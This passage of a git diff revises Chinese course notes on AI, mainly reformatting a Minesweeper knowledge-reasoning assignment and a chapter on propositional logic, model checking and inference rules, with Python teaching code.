`count` 表示其中有多少单元格是地雷。该类还包含函数 `known_mines` 和 `known_safes`,用于确定命题中的任何单元格是已知的地雷还是已知的安全单元格。它还包含函数 `mark_mine` 和 `mark_safe`,用于响应有关单元格的新信息来更新命题。 -- 最后,`MinesweeperAI` 类将实现一个可以玩扫雷的 AI。AI 类跟踪许多值。`self.moves_made` 包含一组已经点击过的所有单元格,因此人工智能知道不要再选择这些单元格。`self.mines` 包含一组已知为地雷的所有单元格。`self.safes` 包含一组已知安全的所有单元格。而 `self.knowledge` 包含了人工智能知道是真的所有命题的列表。 -- `mark_mine` 函数为 `self.mines` 添加了一个单元格,因此 AI 知道这是一个地雷。它还循环遍历人工智能知识中的所有命题,并通知每个命题该单元格是地雷,这样,如果命题包含有关地雷的信息,它就可以相应地更新自己。`mark_safe` 函数也做同样的事情,只是针对安全单元格。 -- 剩下的函数 `add_knowledge`、`make_safe_move` 和 `make_random_move` 由你完成! +一般来说,我们只希望我们的命题是关于那些还不知道是安全的还是地雷的 `cell`。这意味着,一旦我们知道一个单元格是否是地雷,我们就可以更新我们的知识库来简化它们,并可能得出新的结论。 -## 明确 +例如,如果我们的人工智能知道命题 `{A,B,C}=2`,那么我们还没有足够的信息来得出任何结论。但如果我们被告知 C 是安全的,我们可以将 C 从命题中完全删除,留下命题 `{A,B}=2`(顺便说一句,这确实让我们得出了一些新的结论) -- 完成 `minesweeper.py` 中的 `Sentence` 类和 `MinesweeperAI` 类的实现。 -- 在 `Sentence` 类中,完成 `known_mines`、`known_safes`、`mark_mine` 和 `mark_safe` 的实现。 +同样,如果我们的人工智能知道命题 `{A,B,C}=2`,并且我们被告知 C 是一颗地雷,我们可以从命题中删除 C,并减少计数的值(因为 C 是导致该计数的地雷),从而得到命题 `{A、B}=1`。这是合乎逻辑的:如果 A、B 和 C 中有两个是地雷,并且我们知道 C 是地雷,那么 A 和 B 中一定有一个是地雷。 - - `known_mines` 函数应该返回 `self.cells` 中已知为地雷的所有单元格的集合。 - - `known_safes` 函数应该返回 `self.cells` 中已知安全的所有单元格的集合。 - - `mark_mine` 函数应该首先检查单元格是否是命题中包含的单元格之一。 +如果我们更聪明,我们可以做最后一种推理。 - - 如果 `cell` 在命题中,函数应该更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是地雷。 - - 如果命题中没有 `cell`,则不需要采取任何行动。 - - `mark_safe` 函数应该首先检查单元格是否是命题中包含的单元格之一。 +![](https://cdn.xyxsw.site/GsxxbeoPzoOZn4xSUaecVzKNnBc.png) - - 如果 `cell` 在命题中,则函数应更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是安全的。 - - 如果命题中没有 `cell`,则不需要采取任何行动。 -- 在 `MinesweeperAI` 类中,完成 `add_knowledge`、`make_safe_move` 和 `make_random_move` 的实现。 +考虑一下我们的人工智能根据中间顶部单元格和中间底部单元格会知道的两个命题。从中上角的单元格中,我们得到 `{A,B,C}=1`。从底部中间单元格中,我们得到 `{A,B,C,D,E}=2`。从逻辑上讲,我们可以推断出一个新的知识,即 `{D,E}=1`。毕竟,如果 A、B、C、D 和 E 中有两个是地雷,而 A、B 和 C 中只有一个是地雷的话,那么 D 和 E 必须是另一个地雷。 - - `add_knowledge` 应该接受一个单元格(表示为元组 `(i,j)`)及其相应的 `count`,并使用 AI 可以推断的任何新信息更新 `self.mines`、`self.safes`、`self.moves_made` 和 `self.knowledge`,因为该单元格是已知的安全单元格,其附近有计数地雷。 +更一般地说,任何时候我们有两个命题满足 `set1=count1` 和 `set2=count2`,其中 `set1` 是 `set2` 的子集,那么我们可以构造新的命题 `set2-set1=count2-count1`。考虑上面的例子,以确保你理解为什么这是真的。 + +因此,使用这种表示知识的方法,我们可以编写一个人工智能智能主体,它可以收集有关扫雷的知识,并希望选择它知道安全的单元格! + +### 理解 + +这个项目有两个主要文件:`runner.py` 和 `minesweeper.py`。`minesweeper.py` 包含游戏本身和 AI 玩游戏的所有逻辑。`runner.py` 已经为你实现,它包含了运行游戏图形界面的所有代码。一旦你完成了 `minesweeper.py` 中所有必需的功能,你就可以运行 `python runner.py` 来玩扫雷了(或者让你的 AI 为你玩)! + +让我们打开 `minesweeper.py` 来了解提供了什么。这个文件中定义了三个类,`Minesweeper`,负责处理游戏;`Sentence`,表示一个既包含一组 `cell` 又包含一个 `count` 的逻辑命题;以及 `MinesweeperAI`,它处理根据知识做出的推断。 + +`Minesweeper` 类已经完全实现了。请注意,每个单元格都是一对 `(i,j)`,其中 `i` 是行号 (范围从 `0` 到 `height-1`),`j` 是列号 (范围从 `0` 到 `width-1`)。 + +`Sentence` 类将用于表示背景中描述的形式的逻辑命题。每个命题中都有一组 `cell`,以及 `count` 表示其中有多少单元格是地雷。该类还包含函数 `known_mines` 和 `known_safes`,用于确定命题中的任何单元格是已知的地雷还是已知的安全单元格。它还包含函数 `mark_mine` 和 `mark_safe`,用于响应有关单元格的新信息来更新命题。 + +最后,`MinesweeperAI` 类将实现一个可以玩扫雷的 AI。AI 类跟踪许多值。`self.moves_made` 包含一组已经点击过的所有单元格,因此人工智能知道不要再选择这些单元格。`self.mines` 包含一组已知为地雷的所有单元格。`self.safes` 包含一组已知安全的所有单元格。而 `self.knowledge` 包含了人工智能知道是真的所有命题的列表。 + +`mark_mine` 函数为 `self.mines` 添加了一个单元格,因此 AI 知道这是一个地雷。它还循环遍历人工智能知识中的所有命题,并通知每个命题该单元格是地雷,这样,如果命题包含有关地雷的信息,它就可以相应地更新自己。`mark_safe` 函数也做同样的事情,只是针对安全单元格。 + +剩下的函数 `add_knowledge`、`make_safe_move` 和 `make_random_move` 由你完成! + +### 明确 + +完成 `minesweeper.py` 中的 `Sentence` 类和 `MinesweeperAI` 类的实现。 +在 `Sentence` 类中,完成 `known_mines`、`known_safes`、`mark_mine` 和 `mark_safe` 的实现。 + +- `known_mines` 函数应该返回 `self.cells` 中已知为地雷的所有单元格的集合。 +- `known_safes` 函数应该返回 `self.cells` 中已知安全的所有单元格的集合。 +- `mark_mine` 函数应该首先检查单元格是否是命题中包含的单元格之一。 + - 如果 `cell` 在命题中,函数应该更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是地雷。 + - 如果命题中没有 `cell`,则不需要采取任何行动。 +- `mark_safe` 函数应该首先检查单元格是否是命题中包含的单元格之一。 + - 如果 `cell` 在命题中,则函数应更新命题,使单元格不再在命题中但仍然表示一个逻辑正确的命题,因为该 `cell` 已知是安全的。 + - 如果命题中没有 `cell`,则不需要采取任何行动。 + +在 `MinesweeperAI` 类中,完成 `add_knowledge`、`make_safe_move` 和 `make_random_move` 的实现。 + +- `add_knowledge` 应该接受一个单元格(表示为元组 `(i,j)`)及其相应的 `count`,并使用 AI 可以推断的任何新信息更新 `self.mines`、`self.safes`、`self.moves_made` 和 `self.knowledge`,因为该单元格是已知的安全单元格,其附近有计数地雷。 + - 该函数应将该 `cell` 标记为游戏中的一个动作。 + - 函数应该将 `cell` 标记为安全单元格,同时更新包含该单元格的任何命题。 + - 该函数应该根据 `cell` 和 `count` 的值,在人工智能的知识库中添加一个新命题,以表明 `cell` 的邻居有 `count` 是地雷。请确保在命题中只包含状态尚未确定的单元格。 + - 如果根据 `self.knowledge` 中的任何一个命题,新的单元格可以被标记为安全的或地雷,那么函数应该这样做。 + - 如果根据 `self.knowledge` 中的任何一个命题,可以推断出新的命题(使用背景技术中描述的子集方法),那么这些命题也应该添加到知识库中。 + - 请注意,每当你对人工智能的知识做出任何改变时,都有可能得出以前不可能的新推论。如果可能的话,请确保将这些新的推断添加到知识库中。 - - 该函数应将该 `cell` 标记为游戏中的一个动作。 - - 函数应该将 `cell` 标记为安全单元格,同时更新包含该单元格的任何命题。 - - 该函数应该根据 `cell` 和 `count` 的值,在人工智能的知识库中添加一个新命题,以表明 `cell` 的邻居有 `count` 是地雷。请确保在命题中只包含状态尚未确定的单元格。 - - 如果根据 `self.knowledge` 中的任何一个命题,新的单元格可以被标记为安全的或地雷,那么函数应该这样做。 - - 如果根据 `self.knowledge` 中的任何一个命题,可以推断出新的命题(使用背景技术中描述的子集方法),那么这些命题也应该添加到知识库中。 - - 请注意,每当你对人工智能的知识做出任何改变时,都有可能得出以前不可能的新推论。如果可能的话,请确保将这些新的推断添加到知识库中。 - `make_safe_move` 应该返回一个已知安全的选择 `(i,j)`。 - - 必须知道返回的动作是安全的,而不是已经做出的动作。 - 如果无法保证安全移动,则函数应返回 `None`。 - 该函数不应修改 `self.moves_made`、`self.mines`、`self.safes` 或 `self.knowledge`。 -- `make_random_move` 应该返回一个随机选择 `(i,j)`。 +- `make_random_move` 应该返回一个随机选择 `(i,j)`。 - 如果无法安全移动,将调用此功能:如果人工智能不知道移动到哪里,它将选择随机移动。 - 此举不得是已经采取的行动。 - 此举决不能是已知的地雷行动。 - 如果无法进行此类移动,则函数应返回 `None`。 -## 提示 +### 提示 - 确保你已经彻底阅读了背景部分,以了解知识在这个人工智能中是如何表现的,以及人工智能是如何进行推理的。 -- 如果对面向对象编程感觉不太舒服,你可能会发现python 关于类的文档很有帮助。 -- 你可以在python 关于集合的文档中找到一些常见的集合操作。 +- 如果对面向对象编程感觉不太舒服,你可能会发现[python 关于类](https://docs.python.org/3/tutorial/classes.html)的文档很有帮助。 +- 你可以在[python 关于集合](https://docs.python.org/3/library/stdtypes.html#set)的文档中找到一些常见的集合操作。 - 在 `Sentence` 类中实现 `known_mines` 和 `known_safes` 时,请考虑:在什么情况下,你确信命题的单元格是安全的?在什么情况下,你确定一个命题的单元格是地雷? - `add_knowledge` 做了很多工作,可能是迄今为止你为该项目编写的最长的函数。一步一步地实现此函数的行为可能会有所帮助。 - 如果愿意,欢迎您向任何类添加新方法,但不应修改任何现有函数的定义或参数。 diff --git a/4.人工智能/4.3.2知识推理.md b/4.人工智能/4.3.2知识推理.md index 93b3329..83fcd8a 100644 --- a/4.人工智能/4.3.2知识推理.md +++ b/4.人工智能/4.3.2知识推理.md @@ -1,8 +1,8 @@ # 知识推理 人类根据现有的知识进行推理并得出结论。表示知识并从中得出结论的概念也被用于人工智能中,在本章中我们将探讨如何实现这种行为。 -::: warning 😱 -# 说好的 AI 呢?怎么感觉越来越偏了? + +::: warning **说好的 AI 呢?怎么感觉越来越偏了?** 如果有这样的疑问的同学,可能存在一定的误区,认为人工智能就是局限在深度学习的算法或者说机器学习的部分算法上,其实这是对这个领域一个巨大的误解。 @@ -20,36 +20,47 @@ 较为基础的知识各位可以看以下的内容。 ::: -# 基础知识 -- 基于知识的智能主体(Knowledge-Based Agents) - - 智能主体通过对内部的知识表征进行操作来推理得出结论。 - - “根据知识推理得出结论”是什么意思? - - 让我们开始用哈利波特的例子来回答这个问题。 考虑以下句子: - 1. 如果没有下雨,哈利今天会去拜访海格。 - 2. 哈利今天拜访了海格或邓布利多,但没有同时拜访他们。 - 3. 哈利今天拜访了邓布利多。 - - 基于这三个句子,我们可以回答“今天下雨了吗?”这个问题,尽管没有一个单独的句子告诉我们今天是否下雨,根据推理我们可以得出结论“今天下雨了”。 -- 陈述句(Sentence) - - 陈述句是知识表示语言中关于世界的断言。 陈述句是人工智能存储知识并使用它来推断新信息的方式。 +## 基础知识 -# 命题逻辑(Propositional Logic) +### 基于知识的智能主体 (Knowledge-Based Agents) + +智能主体通过对内部的知识表征进行操作来推理得出结论。 + +“根据知识推理得出结论”是什么意思? + +让我们开始用哈利波特的例子来回答这个问题。考虑以下句子: + + 1. 如果没有下雨,哈利今天会去拜访海格。 + 2. 哈利今天拜访了海格或邓布利多,但没有同时拜访他们。 + 3. 哈利今天拜访了邓布利多。 +基于这三个句子,我们可以回答“今天下雨了吗?”这个问题,尽管没有一个单独的句子告诉我们今天是否下雨,根据推理我们可以得出结论“今天下雨了”。 + +### 陈述句 (Sentence) + +陈述句是知识表示语言中关于世界的断言。陈述句是人工智能存储知识并使用它来推断新信息的方式。 + +## 命题逻辑 (Propositional Logic) 命题逻辑基于命题。命题是关于世界的陈述,可以是真也可以是假,正如上面例子中的句子。 -- 命题符号(Propositional Symbols) - - 命题符号通常是用于表示命题的字母$P、Q、R$ -- 逻辑连接词(Logical Connectives) - - 逻辑连接词是连接命题符号的逻辑符号,以便以更复杂的方式对世界进行推理。 - - Not ($\lnot$) 逻辑非: 命题真值的反转。 例如,如果 $P$:“正在下雨”,那么 $¬P$:“没有下雨”。 - - 真值表用于将所有可能的真值赋值与命题进行比较。 该工具将帮助我们更好地理解与不同逻辑连接词相关联的命题的真值。 例如,下面是我们的第一个真值表: +### 命题符号 (Propositional Symbols) + +命题符号通常是用于表示命题的字母$P、Q、R$ + +### 逻辑连接词 (Logical Connectives) + +逻辑连接词是连接命题符号的逻辑符号,以便以更复杂的方式对世界进行推理。 + + - Not ($\lnot$) 逻辑非:命题真值的反转。例如,如果 $P$:“正在下雨”,那么 $¬P$:“没有下雨”。 + 真值表用于将所有可能的真值赋值与命题进行比较。该工具将帮助我们更好地理解与不同逻辑连接词相关联的命题的真值。例如,下面是我们的第一个真值表: | $P$ | $\lnot P$ | | -------- | --------- | | false(0) | true(1) | | true(1) | false(0) | -- And($\land$) 逻辑乘(合取): 连接两个不同的命题。 当这两个命题$P$和$Q$用$∧$连接时,得到的命题$P∧Q$只有在$P$和$Q$都为真的情况下才为真。 +- **And(**$\land$**)** 逻辑乘 (合取): 连接两个不同的命题。当这两个命题$P$和$Q$用$∧$连接时,得到的命题$P∧Q$只有在$P$和$Q$都为真的情况下才为真。 | $P$ | $Q$ | $P\land Q$ | | --- | --- | ---------- | @@ -58,7 +69,7 @@ | 1 | 0 | 0 | | 1 | 1 | 1 | -- Or($\lor$) 逻辑和(析取): 只要它的任何一个参数为真,它就为真。 这意味着要使 $P ∨ Q$为真,$P$ 或 $Q$ 中至少有一个必须为真。 +- **Or(**$\lor$**)** 逻辑和 (析取): 只要它的任何一个参数为真,它就为真。这意味着要使 $P ∨ Q$为真,$P$ 或 $Q$ 中至少有一个必须为真。 | $P$ | $Q$ | $P\lor Q$ | | --- | --- | --------- | @@ -67,12 +78,11 @@ | 1 | 0 | 1 | | 1 | 1 | 1 | + 值得一提的是,Or 有两种类型:同或 Or 和异或 Or。在异或中,如果$P\lor Q$为真,则$P∧Q$为假。也就是说,一个异或要求它只有一个论点为真,而不要求两者都为真。如果$P、Q$或$P∧Q$中的任何一个为真,则包含或为真。在 Or($\lor$) 的情况下,意图是一个包含的 Or。 - - 值得一提的是,Or有两种类型:同或Or和异或Or。在异或中,如果$P\lor Q$为真,则$P∧Q$为假。也就是说,一个异或要求它只有一个论点为真,而不要求两者都为真。如果$P、Q$或$P∧Q$中的任何一个为真,则包含或为真。在Or($\lor$)的情况下,意图是一个包含的Or。 +- **Implication (→)** 逻辑蕴含:表示“如果$P$,则$Q$的结构。例如,如果$P$:“正在下雨”,$Q$:“我在室内”,则$P→ Q$的意思是“如果下雨,那么我在室内。”在$P$的情况下,意味着$Q$,$P$被称为前件,$Q$ 被称为后件。 -- Implication (→) 逻辑蕴含: 表示“如果$P$,则$Q$的结构。例如,如果$P$:“正在下雨”,$Q$:“我在室内”,则$P→ Q$的意思是“如果下雨,那么我在室内。”在$P$的情况下,意味着$Q$,$P$被称为前件,$Q$ 被称为后件。 - - - 当前件为真时,在后件为真的情况下,整个蕴含逻辑为真(这是有道理的:如果下雨,我在室内,那么“如果下雨,那么我在室内”这句话是真的)。当前件为真时,如果后件为假,则蕴含逻辑为假(如果下雨时我在外面,那么“如果下雨,那么我在室内”这句话是假的)。然而,当前件为假时,无论后件如何,蕴含逻辑总是真的。这有时可能是一个令人困惑的概念。从逻辑上讲,我们不能从蕴含中学到任何东西$(P→ Q)$如果前件($P$)为假。看一下我们的例子,如果没有下雨,这个蕴含逻辑并没有说我是否在室内的问题。我可能是一个室内型的人,即使不下雨也不在外面走,或者我可能是一个室外型的人,不下雨的时候一直在外面。当前件是假的,我们说蕴含逻辑是真的。 + 当前件为真时,在后件为真的情况下,整个蕴含逻辑为真(这是有道理的:如果下雨,我在室内,那么“如果下雨,那么我在室内”这句话是真的)。当前件为真时,如果后件为假,则蕴含逻辑为假(如果下雨时我在外面,那么“如果下雨,那么我在室内”这句话是假的)。然而,当前件为假时,无论后件如何,蕴含逻辑总是真的。这有时可能是一个令人困惑的概念。从逻辑上讲,我们不能从蕴含中学到任何东西$(P→ Q)$如果前件 ($P$) 为假。看一下我们的例子,如果没有下雨,这个蕴含逻辑并没有说我是否在室内的问题。我可能是一个室内型的人,即使不下雨也不在外面走,或者我可能是一个室外型的人,不下雨的时候一直在外面。当前件是假的,我们说蕴含逻辑是真的。 | $P$ | $Q$ | $P\to Q$ | | --- | --- | -------- | @@ -81,8 +91,9 @@ | 1 | 0 | 0 | | 1 | 1 | 1 | + - Biconditional ($\leftrightarrow$) :是一个双向的蕴含。你可以把它读成“如果且仅当”$P↔ Q$等同$P→ Q$和$Q→ P$合在一起。例如,如果$P$:“正在下雨”,$Q$:“我在室内”,那么$P↔ Q$的意思是“如果下雨,那么我在室内”,“如果我在室内,那么就在下雨。”这意味着我们可以推断出比简单蕴含更多的东西。如果$P$为假,那么$Q$ 也为假;如果不下雨,我们知道我也不在室内。 - + | $P$ | $Q$ | $P\leftrightarrow Q$ | | --- | --- | -------------------- | | 0 | 0 | 1 | @@ -90,31 +101,44 @@ | 1 | 0 | 0 | | 1 | 1 | 1 | -- 模型(Model) - - 模型是对每个命题的真值赋值。 重申一下,命题是关于世界的陈述,可以是真也可以是假。 然而,关于世界的知识体现在这些命题的真值中。 模型是提供有关世界的信息的真值赋值。 - - 例如,如果 $P$:“正在下雨。” 和 $Q$:“今天是星期二。”,模型可以是以下真值赋值:$\set{P = True, Q = False}$。 此模型表示正在下雨,但不是星期二。 然而,在这种情况下有更多可能的模型(例如,$\set{P = True, Q = True}$,星期二并且下雨)。 事实上,可能模型的数量是命题数量的 2 次方。 在这种情况下,我们有 2 个命题,所以 $2^2=4$ 个可能的模型。 -- 知识库(Knowledge Base (KB)) - - 知识库是基于知识的智能主题已知的一组陈述句。 这是关于人工智能以命题逻辑语句的形式提供的关于世界的知识,可用于对世界进行额外的推理。 -- 蕴含推理(Entailment ($\vDash$)) - - 如果 $α ⊨ β$($α$蕴含推理出 $β$),那么在任何 $α$为真的世界中,$β$也为真。 - - 例如,如果 $α$:“今天是一月的星期二”和 $β$:“今天是星期二”,那么我们知道 $α ⊨ β$。 如果确实是一月的星期二,我们也知道这是星期二。 蕴含推理不同于逻辑蕴含。 逻辑蕴涵是两个命题之间的逻辑连接。 另一方面,推理蕴含关系是指如果 $α$中的所有信息都为真,则 $β$中的所有信息都为真。 +### 模型 (Model) -# 推理(Inference) +模型是对每个命题的真值赋值。重申一下,命题是关于世界的陈述,可以是真也可以是假。然而,关于世界的知识体现在这些命题的真值中。模型是提供有关世界的信息的真值赋值。 + +例如,如果 $P$:“正在下雨。”和 $Q$:“今天是星期二。”,模型可以是以下真值赋值:$\set{P = True, Q = False}$。此模型表示正在下雨,但不是星期二。然而,在这种情况下有更多可能的模型(例如,$\set{P = True, Q = True}$,星期二并且下雨)。事实上,可能模型的数量是命题数量的 2 次方。在这种情况下,我们有 2 个命题,所以 $2^2=4$ 个可能的模型。 + +### 知识库 (Knowledge Base (KB)) + +知识库是基于知识的智能主题已知的一组陈述句。这是关于人工智能以命题逻辑语句的形式提供的关于世界的知识,可用于对世界进行额外的推理。 + +### 蕴含推理 (Entailment ($\vDash$)) + +如果 $α ⊨ β$($α$蕴含推理出 $β$),那么在任何 $α$为真的世界中,$β$也为真。 + +例如,如果 $α$:“今天是一月的星期二”和 $β$:“今天是星期二”,那么我们知道 $α ⊨ β$。如果确实是一月的星期二,我们也知道这是星期二。蕴含推理不同于逻辑蕴含。逻辑蕴涵是两个命题之间的逻辑连接。另一方面,推理蕴含关系是指如果 $α$中的所有信息都为真,则 $β$中的所有信息都为真。 + +## 推理 (Inference) 推理是从原有命题推导出新命题的过程。 -- 模型检查算法(Model Checking algorithm) - - 确定是否$KB ⊨ α$(换句话说,回答问题:“我们能否根据我们的知识库得出结论 $α$为真?”) - - 枚举所有可能的模型。 - - 如果在 $KB$为真的每个模型中,$α$也为真,则 $KB ⊨ α$。 - - 一个例子 - - $P$: 今天是星期四,$Q$: 今天下雨,$R$: 我将出门跑步$ - - $KB$: 如果今天是星期四并且不下雨,那我将出门跑步;今天是星期四;今天不下雨。$(P\land\lnot Q)\to R,P,\lnot Q$ - - 查询结论(query): $R$ +### 模型检查算法 (Model Checking algorithm) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) +确定是否$KB ⊨ α$(换句话说,回答问题:“我们能否根据我们的知识库得出结论 $α$为真?”) -- 接下来,让我们看看如何将知识和逻辑表示为代码。 + - 枚举所有可能的模型。 + - 如果在 $KB$为真的每个模型中,$α$也为真,则 $KB ⊨ α$。 + +#### 一个例子 + +$P$: 今天是星期四,$Q$: 今天下雨,$R$: 我将出门跑步$ + +$KB$: 如果今天是星期四并且不下雨,那我将出门跑步;今天是星期四;今天不下雨。$(P\land\lnot Q)\to R,P,\lnot Q$ + +查询结论 (query): $R$ + +![](https://cdn.xyxsw.site/E8YrbXnGtoNHEJxmAttcX4p0nlg.png) + +接下来,让我们看看如何将知识和逻辑表示为代码。 ```python from logic import * # 创建新类,每个类都有一个名称或一个符号,代表每个命题。 @@ -126,22 +150,23 @@ knowledge = And( # 从“和”逻辑连接词开始,因为每个命题都代 Implication(Not(rain), hagrid), # ¬(今天下雨) → (哈利拜访了海格) Or(hagrid, dumbledore), # (哈利拜访了海格) ∨ (哈利拜访了邓布利多). Not(And(hagrid, dumbledore)), # ¬(哈利拜访了邓布利多 ∧ 哈利拜访了海格) i.e. 哈利没有同时去拜访海格和邓布利多。 -dumbledore # 哈利拜访了邓布利多。请注意,虽然之前的命题包含多个带有连接符的符号,但这是一个由一个符号组成的命题。 这意味着我们将在这个 KB 中,Harry 拜访了 Dumbledore 作为事实。 +dumbledore # 哈利拜访了邓布利多。请注意,虽然之前的命题包含多个带有连接符的符号,但这是一个由一个符号组成的命题。这意味着我们将在这个 KB 中,Harry 拜访了 Dumbledore 作为事实。 ) ``` -- 要运行模型检查算法,需要以下信息: +要运行模型检查算法,需要以下信息: - - 知识库(KB),将用于得出推论 - - 一个查询结论(query),或者我们感兴趣的命题是否被$KB$包含 - - 命题符号,所有使用的符号(或原子命题)的列表(在我们的例子中,这些是 rain、hagrid 和 dumbledore) - - 模型,将真值和假值分配给命题 -- 模型检查算法如下所示: +- 知识库 (KB),将用于得出推论 +- 一个查询结论 (query),或者我们感兴趣的命题是否被$KB$包含 +- 命题符号,所有使用的符号(或原子命题)的列表(在我们的例子中,这些是 rain、hagrid 和 dumbledore) +- 模型,将真值和假值分配给命题 + +模型检查算法如下所示: ```python def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都有一个赋值 - # (下面的逻辑可能有点混乱:我们从命题符号列表开始。该函数是递归的,每次调用自身时,它都会从命题符号列表中弹出一个命题符号并从中生成模型。 因此,当命题符号列表为空时,我们知道我们已经完成生成模型,其中包含每个可能的命题真值分配。) - if not symbols: + # (下面的逻辑可能有点混乱:我们从命题符号列表开始。该函数是递归的,每次调用自身时,它都会从命题符号列表中弹出一个命题符号并从中生成模型。因此,当命题符号列表为空时,我们知道我们已经完成生成模型,其中包含每个可能的命题真值分配。) + if not symbols: # 如果知识库在模型中为真,则查询结论也必须为真 if knowledge.evaluate(model): return query.evaluate(model) @@ -160,163 +185,166 @@ def check_all(knowledge, query, symbols, model):# 如果模型对每个符号都 return(check_all(knowledge, query, remaining, model_true) and check_all(knowledge, query, remaining, model_false)) ``` -- 请注意,我们只对$KB$为真的模型感兴趣。 如果$KB$为假,那么我们知道真实的条件并没有出现在这些模型中,使它们与我们的案例无关。 +请注意,我们只对$KB$为真的模型感兴趣。如果$KB$为假,那么我们知道真实的条件并没有出现在这些模型中,使它们与我们的案例无关。 -> 另一个例子:假设 $P$:Harry 扮演找球手,$Q$:Oliver 扮演守门员,$R$:Gryffindor获胜。 我们的$KB$指定$P$, $Q$, $(P ∧ Q) \to R$。换句话说,我们知道$P$为真,即Harry扮演找球手,$Q$为真,即Oliver扮演守门员,并且如果$P$和$Q$都为真, 那么$R$也为真,这意味着Gryffindor赢得了比赛。 现在想象一个模型,其中Harry扮演击球手而不是找球手(因此,Harry没有扮演找球手,$¬P$)。 嗯,在这种情况下,我们不关心Gryffindor是否赢了(无论$R$是否为真),因为我们的$KB$中有信息表明Harry扮演的是找球手而不是击球手。 我们只对$P$和$Q$ 为真的模型感兴趣。) +> 另一个例子:假设 $P$:Harry 扮演找球手,$Q$:Oliver 扮演守门员,$R$:Gryffindor 获胜。我们的$KB$指定$P$, $Q$, $(P ∧ Q) \to R$。换句话说,我们知道$P$为真,即 Harry 扮演找球手,$Q$为真,即 Oliver 扮演守门员,并且如果$P$和$Q$都为真,那么$R$也为真,这意味着 Gryffindor 赢得了比赛。现在想象一个模型,其中 Harry 扮演击球手而不是找球手 (因此,Harry 没有扮演找球手,$¬P$)。嗯,在这种情况下,我们不关心 Gryffindor 是否赢了 (无论$R$是否为真),因为我们的$KB$中有信息表明 Harry 扮演的是找球手而不是击球手。我们只对$P$和$Q$ 为真的模型感兴趣。) -- 此外,`check_all` 函数的工作方式是递归的。 也就是说,它选择一个命题符号,创建两个模型,其中一个符号为真,另一个为假,然后再次调用自己,现在有两个模型因该命题符号的真值分配不同而不同。 该函数将继续这样做,直到所有符号都已在模型中分配了真值,使 `symbol` 符号为空。 一旦它为空(由 `if not symbols` 行标识),在函数的每个实例中(其中每个实例都包含不同的模型),函数检查$KB$是否为给定的有效模型。 如果$KB$在此模型中为真,函数将检查查询结论是否为真,如前所述。 +此外,`check_all` 函数的工作方式是递归的。也就是说,它选择一个命题符号,创建两个模型,其中一个符号为真,另一个为假,然后再次调用自己,现在有两个模型因该命题符号的真值分配不同而不同。该函数将继续这样做,直到所有符号都已在模型中分配了真值,使 `symbol` 符号为空。一旦它为空(由 `if not symbols` 行标识),在函数的每个实例中(其中每个实例都包含不同的模型),函数检查$KB$是否为给定的有效模型。如果$KB$在此模型中为真,函数将检查查询结论是否为真,如前所述。 -# 知识工程(Knowledge Engineering) +## 知识工程 (Knowledge Engineering) 知识工程是弄清楚如何在 AI 中表示命题和逻辑的工程。 -## 推理规则(Inference Rules) +### 推理规则 (Inference Rules) -- 模型检查不是一种有效的算法,因为它必须在给出答案之前考虑每个可能的模型(提醒:如果在$KB$为真的所有模型(真值分配)下,查询结论$R$为真,则$R$ 也为真)。 推理规则允许我们根据现有知识生成新信息,而无需考虑所有可能的模型。 -- 推理规则通常使用将顶部部分(前提)与底部部分(结论)分开的水平条表示。 前提是我们有什么知识,结论是根据这个前提可以产生什么知识。 +模型检查不是一种有效的算法,因为它必须在给出答案之前考虑每个可能的模型(提醒:如果在$KB$为真的所有模型(真值分配)下,查询结论$R$为真,则$R$ 也为真)。推理规则允许我们根据现有知识生成新信息,而无需考虑所有可能的模型。 - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) +推理规则通常使用将顶部部分(前提)与底部部分(结论)分开的水平条表示。前提是我们有什么知识,结论是根据这个前提可以产生什么知识。 -- 肯定前件(Modus Ponens) +![](https://cdn.xyxsw.site/FjYOb3Qr5ofHdOx7REacdcyqn0c.png) - - 如果我们知道一个蕴涵及其前件为真,那么后件也为真。 +#### 肯定前件 (Modus Ponens) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/HaqObF0xAoX6O8xDX7KctF0jnpf.png) +如果我们知道一个蕴涵及其前件为真,那么后件也为真。 -- 合取消除(And Elimination) +![](https://cdn.xyxsw.site/HaqObF0xAoX6O8xDX7KctF0jnpf.png) - - 如果 And 命题为真,则其中的任何一个原子命题也为真。 例如,如果我们知道哈利与罗恩和赫敏是朋友,我们就可以得出结论,哈利与赫敏是朋友。 +#### 合取消除 (And Elimination) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/TI5Mb781YocwpqxRsyRcPS8WnAg.png) +如果 And 命题为真,则其中的任何一个原子命题也为真。例如,如果我们知道哈利与罗恩和赫敏是朋友,我们就可以得出结论,哈利与赫敏是朋友。 -- 双重否定消除(Double Negation Elimination) +![](https://cdn.xyxsw.site/TI5Mb781YocwpqxRsyRcPS8WnAg.png) - - 被两次否定的命题为真。 例如,考虑命题“哈利没有通过考试是不正确的”。 这两个否定相互抵消,将命题“哈利通过考试”标记为真。 +#### 双重否定消除 (Double Negation Elimination) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) +被两次否定的命题为真。例如,考虑命题“哈利没有通过考试是不正确的”。这两个否定相互抵消,将命题“哈利通过考试”标记为真。 -- 蕴含消除(Implication Elimination) +![](https://cdn.xyxsw.site/NuabbQqZjoBkNixz45AcDZ8Bnrg.png) - - 蕴涵等价于被否定的前件和后件之间的 Or 关系。 例如,命题“如果正在下雨,哈利在室内”等同于命题“(没有下雨)或(哈利在室内)”。 +#### 蕴含消除 (Implication Elimination) - ![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/S31Ub9xcUo9yArxntWscU47pnwh.png) +蕴涵等价于被否定的前件和后件之间的 Or 关系。例如,命题“如果正在下雨,哈利在室内”等同于命题“(没有下雨) 或 (哈利在室内)”。 - | $P$ | $Q$ | $P\to Q$ | $\lnot P\lor Q$ | - | --- | --- | -------- | --------------- | - | 0 | 0 